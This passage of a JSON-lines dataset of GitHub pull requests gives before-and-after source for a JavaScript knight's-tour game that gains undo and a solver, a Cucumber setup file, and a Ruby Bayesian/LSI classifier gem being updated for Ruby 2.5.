{"repo": "jsanders/knight_game", "pr_number": 2, "title": "undo ;)", "state": "closed", "merged_at": "2011-08-19T16:37:46Z", "additions": 41, "deletions": 9, "files_changed": ["index.html", "site.js"], "files_before": {"index.html": "<!DOCTYPE html PUBLIC \"-//W3C/DTD HTML 4.01//EN\" \"http://www.w3.org/TR/html4/DTD/strict.dtd\">\n<html>\n  <head>\n    <link rel=\"stylesheet\" href=\"style.css\" type=\"text/css\" />\n\n    <script src=\"prototype.js\" type=\"text/javascript\"></script>\n    <script src=\"site.js\" type=\"text/javascript\"></script>\n  </head>\n  <body>\n    <div id=\"board\">\n      <div style=\"clear: left;\"></div>\n\n      <input type=\"button\" value=\"Re-Generate\" id=\"regenerate\" />\n      <input type=\"button\" value=\"Restart\" id=\"restart\" />\n      <input type=\"button\" value=\"Load\" id=\"load\" />\n      <input type=\"button\" value=\"Save\" id=\"save\" />\n    </div>\n  </body>\n</html>\n\n\n", "site.js": "var COLS = 3;\nvar ROWS = 3;\nvar LEGAL_MOVES = [];\nvar save;\nvar freshBoard;\n\n\nEvent.observe(window, 'load', function() { \n  $('regenerate').observe('click', setupGame);\n  $('restart').observe('click', function() {restoreState(freshBoard)});\n  $('save').observe('click', function() {save = saveState()});\n  $('load').observe('click', function() {restoreState(save)});\n  setupGame();\n});\n\nfunction setupGame() {\n  generateBoard();\n  generateGame();\n  setHandlerForLegalMoves();\n  save = freshBoard = saveState();\n}\n\nfunction move(event) {\n  var element = event.element();\n\n  element.addClassName('visited');\n  element.appendChild($('knight'));\n\n  LEGAL_MOVES.each(function(item) { $(item).stopObserving('click'); });\n  \n  setHandlerForLegalMoves(element);\n\n  if(isBoardFinished()) {\n    ROWS++;\n    COLS++;\n    setupGame();\n  }\n}\n\nfunction isBoardFinished() {\n  return(\n    $$('.valid').reject(function(cell) {\n      return cell.hasClassName('visited');\n    }).length < 1\n  );\n}\n\nfunction setHandlerForLegalMoves(element) {\n  var element = $('knight').parentNode\n  legalMoves(element).each(function(item) {\n    $(item).observe('click', move);\n  });\n}\n\nfunction legalMovesForGeneration(cell) {\n  return [ cell.id.offset(1, 2), cell.id.offset(2, 1),\n           cell.id.offset(-1, 2), cell.id.offset(-2, 1),\n           cell.id.offset(-1, -2), cell.id.offset(-2, -1),\n           cell.id.offset(1, -2), cell.id.offset(2, -1)\n         ].compact().reject(function(item) {\n           return ($(item).hasClassName('visited'));\n         });\n}\n\nfunction legalMoves(cell) {\n  LEGAL_MOVES = legalMovesForGeneration(cell).select(function(item) {\n    return ($(item).hasClassName('valid') && !$(item).hasClassName('visited')); \n  });\n  return LEGAL_MOVES;\n}\n\nString.prototype.col = function() {\n  return parseInt(this.slice(this.indexOf('_') + 1, this.lastIndexOf('_')));\n}\n\nString.prototype.row = function() {\n  return parseInt(this.slice(this.lastIndexOf('_') + 1));\n}\n\nString.prototype.offset = function(x, y) {\n  var idCol = this.col() + x;\n  var idRow = this.row() + y;\n\n  if(idCol > COLS || idRow > ROWS || idCol < 1 || idRow < 1) {\n    return null;\n  } else {\n    return '_' + idCol + '_' + idRow;\n  }\n}\n\nfunction generateBoard() {\n  $$('.row').invoke('remove');\n  ROWS.times(function(j) {\n    var rowNum = j + 1;\n    var row = $(document.createElement('div'));\n    row.addClassName('row');\n    row.writeAttribute('id', 'row' + rowNum);\n\n    COLS.times(function(i) {\n      var colNum = i + 1;\n      var cell = $(document.createElement('div'));\n      cell.addClassName('cell');\n      cell.writeAttribute('id', '_' + colNum + '_' + rowNum);\n\n      if(colNum == 1) cell.addClassName('first');\n      if(colNum == COLS) cell.addClassName('last');\n      if(rowNum == 1) cell.addClassName('bottom');\n      if(rowNum == ROWS) cell.addClassName('top');\n\n      row.appendChild(cell);\n    });\n    $('board').insert( { top: row } );\n  });\n}\n\nfunction generateGame() {\n  do {\n    var startCell = $('_' + rand(COLS) + '_' + rand(ROWS));\n  } while(legalMovesForGeneration(startCell).length == 0);\n\n  var knight = $(document.createElement('img'));\n  \n  startCell.addClassName('visited');\n\n  knight.writeAttribute('src', 'black_knight.png');\n  knight.writeAttribute('id', 'knight');\n  startCell.insert( { top: knight } );\n\n  findNextCell(startCell, 1);\n  setHandlerForLegalMoves($('knight').parentNode);\n}\n\nfunction findNextCell(cell, alreadyFound) {\n  if( alreadyFound > (ROWS * COLS) * (5.0 / 8.0) || legalMovesForGeneration(cell).length == 0) {\n    return;\n  } else {\n    var moves = legalMovesForGeneration(cell);\n    var nextCell = $(moves[ rand(moves.length) - 1 ]);\n\n    if(nextCell.hasClassName('valid')) {\n      findNextCell(nextCell, alreadyFound);\n    }\n    else {\n      nextCell.addClassName('valid');\n      findNextCell(nextCell, alreadyFound + 1);\n    }\n  }\n}\n\nfunction saveState() {\n  return {\n    visited: $$('.visited'),\n    current: $('knight').parentNode\n  }\n}\n\nfunction restoreState(state) {\n  if (!state) return;\n\n  $$('.valid').each(function(item) { $(item).stopObserving('click') });\n  $$('.visited').each(function(cell) { cell.removeClassName('visited') });\n  state['visited'].each(function(cell) { cell.addClassName('visited') });\n\n  var knight = $('knight');\n  state['current'].appendChild(knight);\n  setHandlerForLegalMoves(knight.parentNode)\n}\n\nfunction rand(max) {\n  return Math.floor(Math.random() * max + 1);\n}\n"}, "files_after": {"index.html": "<!DOCTYPE html PUBLIC \"-//W3C/DTD HTML 4.01//EN\" \"http://www.w3.org/TR/html4/DTD/strict.dtd\">\n<html>\n  <head>\n    <link rel=\"stylesheet\" href=\"style.css\" type=\"text/css\" />\n\n    <script src=\"prototype.js\" type=\"text/javascript\"></script>\n    <script src=\"site.js\" type=\"text/javascript\"></script>\n  </head>\n  <body>\n    <div id=\"board\">\n      <div style=\"clear: left;\"></div>\n\n      <input type=\"button\" value=\"Re-Generate\" id=\"regenerate\" />\n      <input type=\"button\" value=\"Restart\" id=\"restart\" />\n      <input type=\"button\" value=\"Load\" id=\"load\" />\n      <input type=\"button\" value=\"Save\" id=\"save\" />\n      <input type=\"button\" value=\"Undo\" id=\"undo\" />\n    </div>\n  </body>\n</html>\n\n\n", "site.js": "var COLS = 3;\nvar ROWS = 3;\nvar LEGAL_MOVES = [];\nvar save;\nvar freshBoard;\nvar stateStack = [];\n\nEvent.observe(window, 'load', function() { \n  $('regenerate').observe('click', setupGame);\n  $('restart').observe('click', function() {restoreState(freshBoard)});\n  $('save').observe('click', function() {save = saveState()});\n  $('load').observe('click', function() {restoreState(save)});\n  $('undo').observe('click', function() {restoreState(stateStack.pop())});\n  setupGame();\n});\n\nfunction setupGame() {\n  generateBoard();\n  generateGame();\n  setHandlerForLegalMoves();\n  stateStack = [];\n  save = freshBoard = saveState();\n}\n\nfunction move(element, allowWinning) {\n  if (allowWinning == undefined) allowWinning = true;\n  stateStack.push(saveState());\n\n  element.addClassName('visited');\n  element.appendChild($('knight'));\n\n  LEGAL_MOVES.each(function(item) { $(item).stopObserving('click'); });\n  \n  setHandlerForLegalMoves(element);\n\n  if(isBoardFinished() && allowWinning) {\n    advanceBoard();\n  }\n}\n\nfunction advanceBoard() {\n  ROWS++;\n  COLS++;\n  setupGame();\n}\n\nfunction isBoardFinished() {\n  return(\n    $$('.valid').reject(function(cell) {\n      return cell.hasClassName('visited');\n    }).length < 1\n  );\n}\n\nfunction setHandlerForLegalMoves(element) {\n  var element = $('knight').parentNode\n  legalMoves(element).each(function(item) {\n    $(item).observe('click', function(event) { move(event.element()) });\n  });\n}\n\nfunction legalMovesForGeneration(cell) {\n  return [ cell.id.offset(1, 2), cell.id.offset(2, 1),\n           cell.id.offset(-1, 2), cell.id.offset(-2, 1),\n           cell.id.offset(-1, -2), cell.id.offset(-2, -1),\n           cell.id.offset(1, -2), cell.id.offset(2, -1)\n         ].compact().reject(function(item) {\n           return ($(item).hasClassName('visited'));\n         });\n}\n\nfunction legalMoves(cell) {\n  LEGAL_MOVES = legalMovesForGeneration(cell).select(function(item) {\n    return ($(item).hasClassName('valid') && !$(item).hasClassName('visited')); \n  });\n  return LEGAL_MOVES;\n}\n\nString.prototype.col = function() {\n  return parseInt(this.slice(this.indexOf('_') + 1, this.lastIndexOf('_')));\n}\n\nString.prototype.row = function() {\n  return parseInt(this.slice(this.lastIndexOf('_') + 1));\n}\n\nString.prototype.offset = function(x, y) {\n  var idCol = this.col() + x;\n  var idRow = this.row() + y;\n\n  if(idCol > COLS || idRow > ROWS || idCol < 1 || idRow < 1) {\n    return null;\n  } else {\n    return '_' + idCol + '_' + idRow;\n  }\n}\n\nfunction generateBoard() {\n  $$('.row').invoke('remove');\n  ROWS.times(function(j) {\n    var rowNum = j + 1;\n    var row = $(document.createElement('div'));\n    row.addClassName('row');\n    row.writeAttribute('id', 'row' + rowNum);\n\n    COLS.times(function(i) {\n      var colNum = i + 1;\n      var cell = $(document.createElement('div'));\n      cell.addClassName('cell');\n      cell.writeAttribute('id', '_' + colNum + '_' + rowNum);\n\n      if(colNum == 1) cell.addClassName('first');\n      if(colNum == COLS) cell.addClassName('last');\n      if(rowNum == 1) cell.addClassName('bottom');\n      if(rowNum == ROWS) cell.addClassName('top');\n\n      row.appendChild(cell);\n    });\n    $('board').insert( { top: row } );\n  });\n}\n\nfunction generateGame() {\n  do {\n    var startCell = $('_' + rand(COLS) + '_' + rand(ROWS));\n  } while(legalMovesForGeneration(startCell).length == 0);\n\n  var knight = $(document.createElement('img'));\n  \n  startCell.addClassName('visited');\n\n  knight.writeAttribute('src', 'black_knight.png');\n  knight.writeAttribute('id', 'knight');\n  startCell.insert( { top: knight } );\n\n  findNextCell(startCell, 1);\n  setHandlerForLegalMoves($('knight').parentNode);\n}\n\nfunction findNextCell(cell, alreadyFound) {\n  if( alreadyFound > (ROWS * COLS) * (5.0 / 8.0) || legalMovesForGeneration(cell).length == 0) {\n    return;\n  } else {\n    var moves = legalMovesForGeneration(cell);\n    var nextCell = $(moves[ rand(moves.length) - 1 ]);\n\n    if(nextCell.hasClassName('valid')) {\n      findNextCell(nextCell, alreadyFound);\n    }\n    else {\n      nextCell.addClassName('valid');\n      findNextCell(nextCell, alreadyFound + 1);\n    }\n  }\n}\n\nfunction saveState() {\n  return {\n    visited: $$('.visited'),\n    current: $('knight').parentNode,\n    stack: stateStack.slice()\n  }\n}\n\nfunction restoreState(state) {\n  if (!state) return;\n\n  $$('.valid').each(function(item) { $(item).stopObserving('click') });\n  $$('.visited').each(function(cell) { cell.removeClassName('visited') });\n  state['visited'].each(function(cell) { cell.addClassName('visited') });\n  stateStack = state['stack'];\n\n  var knight = $('knight');\n  state['current'].appendChild(knight);\n  setHandlerForLegalMoves(knight.parentNode)\n}\n\nfunction rand(max) {\n  return Math.floor(Math.random() * max + 1);\n}\n\n// Performance on this is terrible, works great up to 5x5.\nfunction solveBoard() {\n  if (isBoardFinished()) {\n    console.log(\"We won!\");\n    return true;\n  }\n\n  var current = $('knight').parentNode;\n  var moves = legalMoves(current);\n  var solvable_move = moves.find(function(div) {\n    move($(div), false);\n    console.log(\"Moving to '\"+ div +\"'\")\n    var solvable = solveBoard();\n    if (!solvable || isBoardFinished()) restoreState(stateStack.pop());\n    return solvable;\n  });\n\n  if (!solvable_move) console.log(\"Path has no winnable moves\");\n  return solvable_move;\n}\n\n"}}
{"repo": "hobodave/nagios-probe", "pr_number": 3, "title": "Add Cucumber and Bundler", "state": "open", "merged_at": null, "additions": 120, "deletions": 25, "files_changed": ["features/support/env.rb"], "files_before": {}, "files_after": {"features/support/env.rb": "require 'aruba/cucumber'\n"}}
{"repo": "cardmagic/classifier", "pr_number": 28, "title": "Support Ruby 2.5.0", "state": "closed", "merged_at": "2018-04-17T02:21:24Z", "additions": 193, "deletions": 258, "files_changed": ["install.rb", "lib/classifier.rb", "lib/classifier/bayes.rb", "lib/classifier/extensions/vector.rb", "lib/classifier/extensions/vector_serialize.rb", "lib/classifier/extensions/word_hash.rb", "lib/classifier/lsi.rb", "lib/classifier/lsi/content_node.rb", "lib/classifier/lsi/summary.rb", "lib/classifier/lsi/word_list.rb", "test/bayes/bayesian_test.rb", "test/extensions/word_hash_test.rb", "test/lsi/lsi_test.rb", "test/test_helper.rb"], "files_before": {"install.rb": "require 'rbconfig'\nrequire 'find'\nrequire 'ftools'\n\ninclude Config\n\n# this was adapted from rdoc's install.rb by ways of Log4r\n\n$sitedir = CONFIG[\"sitelibdir\"]\nunless $sitedir\n  version = CONFIG[\"MAJOR\"] + \".\" + CONFIG[\"MINOR\"]\n  $libdir = File.join(CONFIG[\"libdir\"], \"ruby\", version)\n  $sitedir = $:.find {|x| x =~ /site_ruby/ }\n  if !$sitedir\n    $sitedir = File.join($libdir, \"site_ruby\")\n  elsif $sitedir !~ Regexp.quote(version)\n    $sitedir = File.join($sitedir, version)\n  end\nend\n\nmakedirs = %w{ classifier }\nmakedirs = %w{ classifier/extensions }\nmakedirs = %w{ classifier/lsi }\nmakedirs.each {|f| File::makedirs(File.join($sitedir, *f.split(/\\//)))}\n\nDir.chdir(\"lib\")\nbegin\n  require 'rubygems'\n  require 'rake'\nrescue LoadError\n  puts\n  puts \"Please install Gem and Rake from http://rubyforge.org/projects/rubygems and http://rubyforge.org/projects/rake\"\n  puts\n  exit(-1)\nend\n\nfiles = FileList[\"**/*\"]\n\n# File::safe_unlink *deprecated.collect{|f| File.join($sitedir, f.split(/\\//))}\nfiles.each {|f| \n  File::install(f, File.join($sitedir, *f.split(/\\//)), 0644, true)\n}\n\nbegin\n  require 'stemmer'\nrescue LoadError\n  puts\n  puts \"Please install Stemmer from http://rubyforge.org/projects/stemmer or via 'gem install stemmer'\"\n  puts\nend\n", "lib/classifier.rb": "#--\n# Copyright (c) 2005 Lucas Carlson\n#\n# Permission is hereby granted, free of charge, to any person obtaining\n# a copy of this software and associated documentation files (the\n# \"Software\"), to deal in the Software without restriction, including\n# without limitation the rights to use, copy, modify, merge, publish,\n# distribute, sublicense, and/or sell copies of the Software, and to\n# permit persons to whom the Software is furnished to do so, subject to\n# the following conditions:\n#\n# The above copyright notice and this permission notice shall be\n# included in all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE\n# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION\n# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION\n# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n#++\n# Author::    Lucas Carlson  (mailto:lucas@rufy.com)\n# Copyright:: Copyright (c) 2005 Lucas Carlson\n# License::   LGPL\n\nrequire 'rubygems'\nrequire 'classifier/extensions/string'\nrequire 'classifier/bayes'\nrequire 'classifier/lsi'", "lib/classifier/bayes.rb": "# Author::    Lucas Carlson  (mailto:lucas@rufy.com)\n# Copyright:: Copyright (c) 2005 Lucas Carlson\n# License::   LGPL\n\nmodule Classifier\n\nclass Bayes\n  # The class can be created with one or more categories, each of which will be\n  # initialized and given a training method. E.g., \n  #      b = Classifier::Bayes.new 'Interesting', 'Uninteresting', 'Spam'\n\tdef initialize(*categories)\n\t\t@categories = Hash.new\n\t\tcategories.each { |category| @categories[category.prepare_category_name] = Hash.new }\n\t\t@total_words = 0\n                @category_counts = Hash.new(0)\n\tend\n\n\t#\n\t# Provides a general training method for all categories specified in Bayes#new\n\t# For example:\n\t#     b = Classifier::Bayes.new 'This', 'That', 'the_other'\n\t#     b.train :this, \"This text\"\n\t#     b.train \"that\", \"That text\"\n\t#     b.train \"The other\", \"The other text\"\n\tdef train(category, text)\n\t\tcategory = category.prepare_category_name\n                @category_counts[category] += 1\n\t\ttext.word_hash.each do |word, count|\n\t\t\t@categories[category][word]     ||=     0\n\t\t\t@categories[category][word]      +=     count\n\t\t\t@total_words += count\n\t\tend\n\tend\n\n\t#\n\t# Provides a untraining method for all categories specified in Bayes#new\n\t# Be very careful with this method.\n\t#\n\t# For example:\n\t#     b = Classifier::Bayes.new 'This', 'That', 'the_other'\n\t#     b.train :this, \"This text\"\n\t#     b.untrain :this, \"This text\"\n\tdef untrain(category, text)\n\t\tcategory = category.prepare_category_name\n                @category_counts[category] -= 1\n\t\ttext.word_hash.each do |word, count|\n\t\t\tif @total_words >= 0\n\t\t\t\torig = @categories[category][word]\n\t\t\t\t@categories[category][word]     ||=     0\n\t\t\t\t@categories[category][word]      -=     count\n\t\t\t\tif @categories[category][word] <= 0\n\t\t\t\t\t@categories[category].delete(word)\n\t\t\t\t\tcount = orig\n\t\t\t\tend\n\t\t\t\t@total_words -= count\n\t\t\tend\n\t\tend\n\tend\n\t\t\n\t#\n\t# Returns the scores in each category the provided +text+. E.g.,\n\t#    b.classifications \"I hate bad words and you\"\n\t#    =>  {\"Uninteresting\"=>-12.6997928013932, \"Interesting\"=>-18.4206807439524}\n\t# The largest of these scores (the one closest to 0) is the one picked out by #classify\n\tdef classifications(text)\n\t\tscore = Hash.new\n                training_count = @category_counts.values.inject { |x,y| x+y }.to_f\n\t\t@categories.each do |category, category_words|\n\t\t\tscore[category.to_s] = 0\n\t\t\ttotal = category_words.values.inject(0) {|sum, element| sum+element}\n\t\t\ttext.word_hash.each do |word, count|\n\t\t\t\ts = category_words.has_key?(word) ? category_words[word] : 0.1\n\t\t\t\tscore[category.to_s] += Math.log(s/total.to_f)\n\t\t\tend\n                        # now add prior probability for the category\n                        s = @category_counts.has_key?(category) ? @category_counts[category] : 0.1\n                        score[category.to_s] += Math.log(s / training_count)\n\t\tend\n\t\treturn score\n\tend\n\n  #\n  # Returns the classification of the provided +text+, which is one of the \n  # categories given in the initializer. E.g.,\n  #    b.classify \"I hate bad words and you\"\n  #    =>  'Uninteresting'\n\tdef classify(text)\n\t\t(classifications(text).sort_by { |a| -a[1] })[0][0]\n\tend\n\t\n\t#\n\t# Provides training and untraining methods for the categories specified in Bayes#new\n\t# For example:\n\t#     b = Classifier::Bayes.new 'This', 'That', 'the_other'\n\t#     b.train_this \"This text\"\n\t#     b.train_that \"That text\"\n\t#     b.untrain_that \"That text\"\n\t#     b.train_the_other \"The other text\"\n\tdef method_missing(name, *args)\n\t\tcategory = name.to_s.gsub(/(un)?train_([\\w]+)/, '\\2').prepare_category_name\n\t\tif @categories.has_key? category\n\t\t\targs.each { |text| eval(\"#{$1}train(category, text)\") }\n\t\telsif name.to_s =~ /(un)?train_([\\w]+)/\n\t\t\traise StandardError, \"No such category: #{category}\"\n\t\telse\n\t    super  #raise StandardError, \"No such method: #{name}\"\n\t\tend\n\tend\n\t\n\t#\n\t# Provides a list of category names\n\t# For example:\n\t#     b.categories\n\t#     =>   ['This', 'That', 'the_other']\n\tdef categories # :nodoc:\n\t\t@categories.keys.collect {|c| c.to_s}\n\tend\n\t\n\t#\n\t# Allows you to add categories to the classifier.\n\t# For example:\n\t#     b.add_category \"Not spam\"\n\t#\n\t# WARNING: Adding categories to a trained classifier will\n\t# result in an undertrained category that will tend to match\n\t# more criteria than the trained selective categories. In short,\n\t# try to initialize your categories at initialization.\n\tdef add_category(category)\n\t\t@categories[category.prepare_category_name] = Hash.new\n\tend\n\t\n\talias append_category add_category\nend\n\nend\n", "lib/classifier/extensions/vector.rb": "# Author::    Ernest Ellingson\n# Copyright:: Copyright (c) 2005 \n\n# These are extensions to the std-lib 'matrix' to allow an all ruby SVD\n\nrequire 'matrix'\nrequire 'mathn'\n\nclass Array\n  def sum(identity = 0, &block)\n    return identity unless size > 0\n  \n    if block_given?\n      map(&block).sum\n    else\n      reduce(:+)\n    end\n  end\nend\n\nclass Vector\n  def magnitude\n    sumsqs = 0.0\n    self.size.times do |i|\n      sumsqs += self[i] ** 2.0 \n    end\n    Math.sqrt(sumsqs)\n  end\n  def normalize\n    nv = []\n    mag = self.magnitude\n    self.size.times do |i|\n\n      nv << (self[i] / mag)\n\n    end\n    Vector[*nv]\n  end\nend\n\nclass Matrix\n  def Matrix.diag(s)\n     Matrix.diagonal(*s)\n  end\n  \n  alias :trans :transpose\n\n  def SV_decomp(maxSweeps = 20)\n    if self.row_size >= self.column_size\n      q = self.trans * self\n    else\n      q = self * self.trans\n    end\n    \n    qrot    = q.dup\n    v       = Matrix.identity(q.row_size)\n    azrot   = nil\n    mzrot   = nil\n    cnt     = 0\n    s_old   = nil\n    mu      = nil\n\n    while true do\n      cnt += 1\n      for row in (0...qrot.row_size-1) do\n        for col in (1..qrot.row_size-1) do\n          next if row == col\n          h = Math.atan((2 * qrot[row,col])/(qrot[row,row]-qrot[col,col]))/2.0\n          hcos = Math.cos(h)\n          hsin = Math.sin(h)\n          mzrot = Matrix.identity(qrot.row_size)\n          mzrot[row,row] = hcos\n          mzrot[row,col] = -hsin\n          mzrot[col,row] = hsin\n          mzrot[col,col] = hcos\n          qrot = mzrot.trans * qrot * mzrot\n          v = v * mzrot\n        end \n      end\n      s_old = qrot.dup if cnt == 1\n      sum_qrot = 0.0 \n      if cnt > 1\n        qrot.row_size.times do |r|\n          sum_qrot += (qrot[r,r]-s_old[r,r]).abs if (qrot[r,r]-s_old[r,r]).abs > 0.001\n        end\n        s_old = qrot.dup\n      end \n      break if (sum_qrot <= 0.001 and cnt > 1) or cnt >= maxSweeps\n    end # of do while true\n    s = []\n    qrot.row_size.times do |r|\n      s << Math.sqrt(qrot[r,r])\n    end\n    #puts \"cnt = #{cnt}\"\n    if self.row_size >= self.column_size\n      mu = self *  v * Matrix.diagonal(*s).inverse     \n      return [mu, v, s]\n    else\n      puts v.row_size\n      puts v.column_size\n      puts self.row_size\n      puts self.column_size\n      puts s.size\n\n      mu = (self.trans * v *  Matrix.diagonal(*s).inverse)\n      return [mu, v, s]\n    end\n  end\n  def []=(i,j,val)\n    @rows[i][j] = val\n  end\nend\n", "lib/classifier/extensions/vector_serialize.rb": "module GSL\n  \n  class Vector\n    def _dump(v)\n      Marshal.dump( self.to_a )\n    end\n    \n    def self._load(arr)\n      arry = Marshal.load(arr)\n      return GSL::Vector.alloc(arry)\n    end\n    \n  end\n  \n  class Matrix\n     class <<self\n        alias :diag :diagonal\n     end\n  end\nend\n", "lib/classifier/extensions/word_hash.rb": "# Author::    Lucas Carlson  (mailto:lucas@rufy.com)\n# Copyright:: Copyright (c) 2005 Lucas Carlson\n# License::   LGPL\n\nrequire \"set\"\n\n# These are extensions to the String class to provide convenience \n# methods for the Classifier package.\nclass String\n  \n  # Removes common punctuation symbols, returning a new string. \n  # E.g.,\n  #   \"Hello (greeting's), with {braces} < >...?\".without_punctuation\n  #   => \"Hello  greetings   with  braces         \"\n  def without_punctuation\n    tr( ',?.!;:\"@#$%^&*()_=+[]{}\\|<>/`~', \" \" ) .tr( \"'\\-\", \"\")\n  end\n  \n  # Return a Hash of strings => ints. Each word in the string is stemmed,\n  # interned, and indexes to its frequency in the document.  \n\tdef word_hash\n\t\tword_hash = clean_word_hash()\n\t\tsymbol_hash = word_hash_for_symbols(gsub(/[\\w]/,\" \").split)\n\t\treturn word_hash.merge(symbol_hash)\n\tend\n\n\t# Return a word hash without extra punctuation or short symbols, just stemmed words\n\tdef clean_word_hash\n\t\tword_hash_for_words gsub(/[^\\w\\s]/,\"\").split\n\tend\n\t\n\tprivate\n\t\n\tdef word_hash_for_words(words)\n\t\td = Hash.new(0)\n\t\twords.each do |word|\n\t\t\tword.downcase!\n\t\t\tif ! CORPUS_SKIP_WORDS.include?(word) && word.length > 2\n\t\t\t\td[word.stem.intern] += 1\n\t\t\tend\n\t\tend\n\t\treturn d\n\tend\n\n\n\tdef word_hash_for_symbols(words)\n\t\td = Hash.new(0)\n\t\twords.each do |word|\n\t\t\td[word.intern] += 1\n\t\tend\n\t\treturn d\n\tend\n\t\n\tCORPUS_SKIP_WORDS = Set.new([\n      \"a\",\n      \"again\",\n      \"all\",\n      \"along\",\n      \"are\",\n      \"also\",\n      \"an\",\n      \"and\",\n      \"as\",\n      \"at\",\n      \"but\",\n      \"by\",\n      \"came\",\n      \"can\",\n      \"cant\",\n      \"couldnt\",\n      \"did\",\n      \"didn\",\n      \"didnt\",\n      \"do\",\n      \"doesnt\",\n      \"dont\",\n      \"ever\",\n      \"first\",\n      \"from\",\n      \"have\",\n      \"her\",\n      \"here\",\n      \"him\",\n      \"how\",\n      \"i\",\n      \"if\",\n      \"in\",\n      \"into\",\n      \"is\",\n      \"isnt\",\n      \"it\",\n      \"itll\",\n      \"just\",\n      \"last\",\n      \"least\",\n      \"like\",\n      \"most\",\n      \"my\",\n      \"new\",\n      \"no\",\n      \"not\",\n      \"now\",\n      \"of\",\n      \"on\",\n      \"or\",\n      \"should\",\n      \"sinc\",\n      \"so\",\n      \"some\",\n      \"th\",\n      \"than\",\n      \"this\",\n      \"that\",\n      \"the\",\n      \"their\",\n      \"then\",\n      \"those\",\n      \"to\",\n      \"told\",\n      \"too\",\n      \"true\",\n      \"try\",\n      \"until\",\n      \"url\",\n      \"us\",\n      \"were\",\n      \"when\",\n      \"whether\",\n      \"while\",\n      \"with\",\n      \"within\",\n      \"yes\",\n      \"you\",\n      \"youll\",\n      ])\nend\n", "lib/classifier/lsi.rb": "# Author::    David Fayram  (mailto:dfayram@lensmen.net)\n# Copyright:: Copyright (c) 2005 David Fayram II\n# License::   LGPL\n\nbegin\n   raise LoadError if ENV['NATIVE_VECTOR'] == \"true\" # to test the native vector class, try `rake test NATIVE_VECTOR=true`\n   \n   require 'gsl' # requires http://rb-gsl.rubyforge.org/\n   require 'classifier/extensions/vector_serialize'\n   $GSL = true\n   \nrescue LoadError\n\twarn \"Notice: for 10x faster LSI support, please install http://rb-gsl.rubyforge.org/\"\n\trequire 'classifier/extensions/vector'\t\nend\n   \nrequire 'classifier/lsi/word_list'\nrequire 'classifier/lsi/content_node'\nrequire 'classifier/lsi/summary'\n\nmodule Classifier\n  \n  # This class implements a Latent Semantic Indexer, which can search, classify and cluster\n  # data based on underlying semantic relations. For more information on the algorithms used,\n  # please consult Wikipedia[http://en.wikipedia.org/wiki/Latent_Semantic_Indexing].\n  class LSI\n    \n    attr_reader :word_list\n    attr_accessor :auto_rebuild\n    \n    # Create a fresh index.\n    # If you want to call #build_index manually, use\n    #      Classifier::LSI.new :auto_rebuild => false\n    #\n    def initialize(options = {})\n      @auto_rebuild = true unless options[:auto_rebuild] == false\n      @word_list, @items = WordList.new, {}\n      @version, @built_at_version = 0, -1\n    end\n    \n    # Returns true if the index needs to be rebuilt.  The index needs\n    # to be built after all informaton is added, but before you start\n    # using it for search, classification and cluster detection.\n    def needs_rebuild?\n      (@items.keys.size > 1) && (@version != @built_at_version)\n    end\n    \n    # Adds an item to the index. item is assumed to be a string, but \n    # any item may be indexed so long as it responds to #to_s or if\n    # you provide an optional block explaining how the indexer can \n    # fetch fresh string data. This optional block is passed the item,\n    # so the item may only be a reference to a URL or file name.\n    # \n    # For example:\n    #   lsi = Classifier::LSI.new\n    #   lsi.add_item \"This is just plain text\"\n    #   lsi.add_item \"/home/me/filename.txt\" { |x| File.read x }\n    #   ar = ActiveRecordObject.find( :all )\n    #   lsi.add_item ar, *ar.categories { |x| ar.content }\n    #\n    def add_item( item, *categories, &block )\n      clean_word_hash = block ? block.call(item).clean_word_hash : item.to_s.clean_word_hash\n      @items[item] = ContentNode.new(clean_word_hash, *categories)\n      @version += 1\n      build_index if @auto_rebuild\n    end\n\n    # A less flexible shorthand for add_item that assumes \n    # you are passing in a string with no categorries. item\n    # will be duck typed via to_s . \n    #\n    def <<( item )\n      add_item item\n    end\n    \n    # Returns the categories for a given indexed items. You are free to add and remove\n    # items from this as you see fit. It does not invalide an index to change its categories.\n    def categories_for(item)\n      return [] unless @items[item]\n      return @items[item].categories\n    end\n\n    # Removes an item from the database, if it is indexed. \n    #\n    def remove_item( item )\n      if @items.keys.contain? item\n        @items.remove item\n        @version += 1\n      end\n    end\n    \n    # Returns an array of items that are indexed. \n    def items\n      @items.keys\n    end\n    \n    # Returns the categories for a given indexed items. You are free to add and remove\n    # items from this as you see fit. It does not invalide an index to change its categories.\n    def categories_for(item)\n      return [] unless @items[item]\n      return @items[item].categories\n    end\n\n    # This function rebuilds the index if needs_rebuild? returns true.\n    # For very large document spaces, this indexing operation may take some\n    # time to complete, so it may be wise to place the operation in another \n    # thread. \n    #\n    # As a rule, indexing will be fairly swift on modern machines until\n    # you have well over 500 documents indexed, or have an incredibly diverse \n    # vocabulary for your documents. \n    #\n    # The optional parameter \"cutoff\" is a tuning parameter. When the index is\n    # built, a certain number of s-values are discarded from the system. The \n    # cutoff parameter tells the indexer how many of these values to keep.\n    # A value of 1 for cutoff means that no semantic analysis will take place,\n    # turning the LSI class into a simple vector search engine.\n    def build_index( cutoff=0.75 )\n      return unless needs_rebuild?\n      make_word_list\n      \n      doc_list = @items.values\n      tda = doc_list.collect { |node| node.raw_vector_with( @word_list ) }\n      \n      if $GSL\n         tdm = GSL::Matrix.alloc(*tda).trans\n         ntdm = build_reduced_matrix(tdm, cutoff)\n\n         ntdm.size[1].times do |col| \n           vec = GSL::Vector.alloc( ntdm.column(col) ).row\n           doc_list[col].lsi_vector = vec\n           doc_list[col].lsi_norm = vec.normalize\n         end\n      else\n         tdm = Matrix.rows(tda).trans\n         ntdm = build_reduced_matrix(tdm, cutoff)\n      \n         ntdm.row_size.times do |col|\n           doc_list[col].lsi_vector = ntdm.column(col) if doc_list[col]\n           doc_list[col].lsi_norm = ntdm.column(col).normalize  if doc_list[col]\n         end\n      end\n   \n      @built_at_version = @version\n    end\n   \n    # This method returns max_chunks entries, ordered by their average semantic rating.\n    # Essentially, the average distance of each entry from all other entries is calculated,\n    # the 